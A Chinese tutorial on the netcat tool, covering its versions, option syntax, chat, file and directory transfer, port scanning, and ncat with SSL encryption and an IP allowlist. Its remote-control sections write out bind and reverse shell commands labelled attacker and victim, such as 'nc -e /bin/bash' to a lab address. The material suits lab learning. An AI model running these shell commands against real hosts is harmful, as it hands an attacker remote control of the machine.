天天看點

圖文介紹——NC使用筆記NC簡介選項案例安全性

NC

圖文介紹——NC使用筆記NC簡介選項案例安全性

簡介

Netcat 簡稱為nc,中文名網貓,被譽為網絡工具中的瑞士軍刀。具備以下功能:

  • 偵聽模式/傳輸模式
  • telnet/擷取 banner資訊(當作telent工具使用,甚至更好用)
  • 傳輸文本資訊(可以作為聊天工具)
  • 傳輸檔案/目錄
  • 加密傳輸檔案
  • 遠端控制/木馬(一般來說,不會被清除)
  • 加密所有流量
  • 流媒體伺服器
  • 遠端克隆硬碟(一般用作電子驗證)

nc 有很多變種。不同的變種,會在原有 nc 的基礎上增加一些新功能。比較流行的變種之一是OpenBSD 社群的變種(也叫“OpenBSD netcat”或“netcat-openbsd”),這是由 OpenBSD 社群重寫的 netcat,主要增加了對“IPv6、proxy、Unix sockets”等功能的支援。很多主流 Linux 發行版的官方軟體倉庫已包含這個變種(比如說:Debian 家族、Arch 家族、openSUSE 家族、Gentoo 家族……)。

nc - h

的輸出中,如果第一行包含 OpenBSD 這個單詞,就說明目前 nc 是 OpenBSD 變種。

netcat-traditional

這個是最早的版本,最新版本是2007年1月,版本是1.10,Kali Linux預設帶的就是這個版本:

這個版本的nc具有

-e

選項,十分友善反彈shell使用

[email protected]:~# nc -h
[v1.10-41.1]
           

netcat-openbsd

ubuntu裡預設的nc指令指向的是netcat-openbsd。這個版本因為考慮到安全性等原因沒有

-e

選項。是以我們得手動替換一下nc的版本:

# 安裝傳統的netcat
$ sudo apt-get install netcat
# 切換版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密碼: 
有 2 個候選項可用于替換 nc (提供 /bin/nc)。
  選擇       路徑               優先級  狀态
------------------------------------------------------------
  0            /bin/nc.openbsd       50        自動模式
  1            /bin/nc.openbsd       50        手動模式
* 2            /bin/nc.traditional   10        手動模式
要維持目前值[*]請按<Enter鍵>,或者鍵入選擇的編号:2
           

選項

nc的指令是可以合寫的,指令行選項的【合寫】形式

nc -l -p 12345 -v
nc -l -p -v 12345
nc -lp 12345 -v
nc -lv -p 12345
nc -lvp 12345
           

所有上面這些指令都是【等價】的。隻要注意,-p參數是一個需要帶選項值的指令行選項,而-v、-l參數則不需要帶選項值。是以端口值一定要寫在-p後面

圖文介紹——NC使用筆記NC簡介選項案例安全性

補充:

使用nc時一般會加上

-n

,因為nc自己去解析域名可能會比較慢,是以自己去通過

ping

或者别的方式獲得域名對應的ip之後,再用nc。windows的下載下傳位址http://nmap.org/dist/ncat-portable-5.59BETA1.zip

不同作業系統,或者說不同nc版本之間支援的功能不盡相同,但是總可以通過别的方式曲線救國。

案例

這裡介紹一些常用的

telnet/擷取 banner資訊

圖文介紹——NC使用筆記NC簡介選項案例安全性

傳輸文本資訊

聊天

A:nc -l -p 4444

B:nc -nv 1.1.1.1 4444

解釋:A使用

-l

參數告訴nc在本地去打開一個端口,監聽它,使用

-p

告訴nc打開的端口号。于是,nc在本地打開了一個4444端口等着有人來連接配接自己,這裡A就是類似服務端了。

B去連接配接某ip的某端口,不做域名解析,顯示詳細連接配接過程。這裡B類似用戶端。

圖文介紹——NC使用筆記NC簡介選項案例安全性

資訊傳遞

CentOS把自己的

ls

結果傳遞到kali上面。

圖文介紹——NC使用筆記NC簡介選項案例安全性

這裡有了一個問題,假如CentOS使用了

ps aux

檢視程序,或者使用了nmap出現大量資訊,那kali的閱讀體驗會非常差勁,可以在kali上使用重定向來解決

圖文介紹——NC使用筆記NC簡介選項案例安全性

再進一步優化,使用

-q

參數,讓上面的内容完成傳輸之後的1秒,大家就斷開連接配接。由于CentOS上的nc不支援

-q

參數,這裡讓kali作為服務端,Cent作為用戶端

圖文介紹——NC使用筆記NC簡介選項案例安全性

傳輸檔案/目錄

下面的箭頭可能會讓人覺得非常混亂,尤其是兩種方式對比的時候。如何了解這些左右箭頭?我是這樣記憶的,作為發送端,是要把檔案通過本地監聽的端口發送出去,是以發送端的箭頭是

<

,那麼接收端就是

>

傳輸檔案

接收端 A:nc -lp 333 > 1.mp4

發送端 B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1

圖文介紹——NC使用筆記NC簡介選項案例安全性

或者

發送端 A:nc -q 1 -lp 333 < 1.mp4

接收端 B:nc -nv 1.1.1.1 333 > 1.mp4

圖文介紹——NC使用筆記NC簡介選項案例安全性

傳輸目錄

發送端A:tar -cvf - 檔案夾/ | nc -lp 333 -q 1

接收端B:nc -nv 1.1.1.1 333 | tar -xvf -

圖文介紹——NC使用筆記NC簡介選項案例安全性

端口掃描

很多掃描器都能做端口掃描,但是準确性就不一定了。一般來說,nmap的掃描結果較好,nc的僅供參考。

在kali上使用 nc -nvz 192.168.40.133 1-65535去探測Metasploitable的1-65535端口,

-z

參數就是端口探測,預設使用TCP連接配接,可以通過抓包看到細節。

可以看到,nc的端口掃描是從大到小,一旦能建立起三次握手,就發送FIN+ACK斷開連接配接,然後掃描下一個端口

圖文介紹——NC使用筆記NC簡介選項案例安全性
圖文介紹——NC使用筆記NC簡介選項案例安全性

那麼,nc也可以使用UDP的方式做端口掃描,就是加一個

u

,nc -nvzu 192.168.40.133 1-65535

圖文介紹——NC使用筆記NC簡介選項案例安全性

控制對方

如果感覺下面的例子有些費神,你就看誰給了bash,誰把bash交出去,誰就是被控制的

(監聽端口等着别人連自己的交伺服器端,主動連接配接别人的是用戶端)

正向控制

用戶端A 【控制端】 :nc -nv ip 333

伺服器端B【被控制端】:nc -lp 333 -c bash

上面的指令挺類似于使用nc聊天的指令,所不同的是伺服器端加了一個

-c bash

,指令的意思是一旦有人來連接配接自己,就把自己的一個bash傳給對方,如果是windows的話,把bash換成cmd就行了

圖文介紹——NC使用筆記NC簡介選項案例安全性
圖文介紹——NC使用筆記NC簡介選項案例安全性
圖文介紹——NC使用筆記NC簡介選項案例安全性

反向控制

用戶端A 【被控制端】:nc –nv 192.168.40.150 333 -c bash

伺服器端B【控制端】 :nc -lp 333

圖文介紹——NC使用筆記NC簡介選項案例安全性

nc反彈shell

需要目标主機安裝了nc

攻擊者:nc -lvp 4566

受害者:nc -e /bin/bash 192.168.239.128 4566
           
圖文介紹——NC使用筆記NC簡介選項案例安全性
攻擊者:nc -lvp 4444

受害者:nc -e /bin/sh 192.168.239.128 4444
           
圖文介紹——NC使用筆記NC簡介選項案例安全性

原理

nc -e /bin/bash 192.168.239.128 4566

-e prog 程式重定向,一旦連接配接,就執行
           

這裡的-e後面跟的參數代表的是在建立連接配接後執行的程式,這裡代表在連接配接到遠端後可以在遠端執行一個本地shell(/bin/bash),也就是反彈一個shell給遠端,可以看到遠端已經成功反彈到了shell,并且可以執行指令。

其他:

注意之前使用nc監聽端口反彈shell時都會有一個警告:

192.168.239.130: inverse host lookup failed: Unknown host

根據nc幫助文檔的提示加上-n參數就可以不産生這個警告了,-n參數代表在建立連接配接之前不對主機進行dns解析。

圖文介紹——NC使用筆記NC簡介選項案例安全性

安全性

nc缺乏加密和身份驗證的能力。

當我在實體機(類似中間人了)通過抓包可以看到,nc是明文傳輸的,再者,控制對方的時候沒有身份驗證,安全性存在隐患

圖文介紹——NC使用筆記NC簡介選項案例安全性

解決辦法是可以使用Ncat,Ncat包含于nmap工具包中,實作資料加密傳輸。

kali和Cent沒有這個玩意,這裡我手動安裝一下

sudo apt-get install ncat	#kali
yum install nmap-ncat -y	#Cent
           
圖文介紹——NC使用筆記NC簡介選項案例安全性

用戶端 【控制端】:ncat -nv 192.168.40.150 333 --ssl

伺服器端【被控制端】:ncat -c bash --allow 192.168.40.146 -vnl 333 --ssl

還是那一套,隻不過這裡使用了一個加密的管道ssl,然後使用了白名單機制,隻允許192.168.40.146來連接配接我

圖文介紹——NC使用筆記NC簡介選項案例安全性

在實體機上(類似中間人)抓包,抓到的是密文

圖文介紹——NC使用筆記NC簡介選項案例安全性

假設這個時候,win7想過來連接配接Cent,會發現他是連接配接不上的。

圖文介紹——NC使用筆記NC簡介選項案例安全性

補充,windows是不需要額外下載下傳的,通過上面的提供的位址http://nmap.org/dist/ncat-portable-5.59BETA1.zip下載下傳nc之後,就能使用ncat,不需要額外下載下傳

繼續閱讀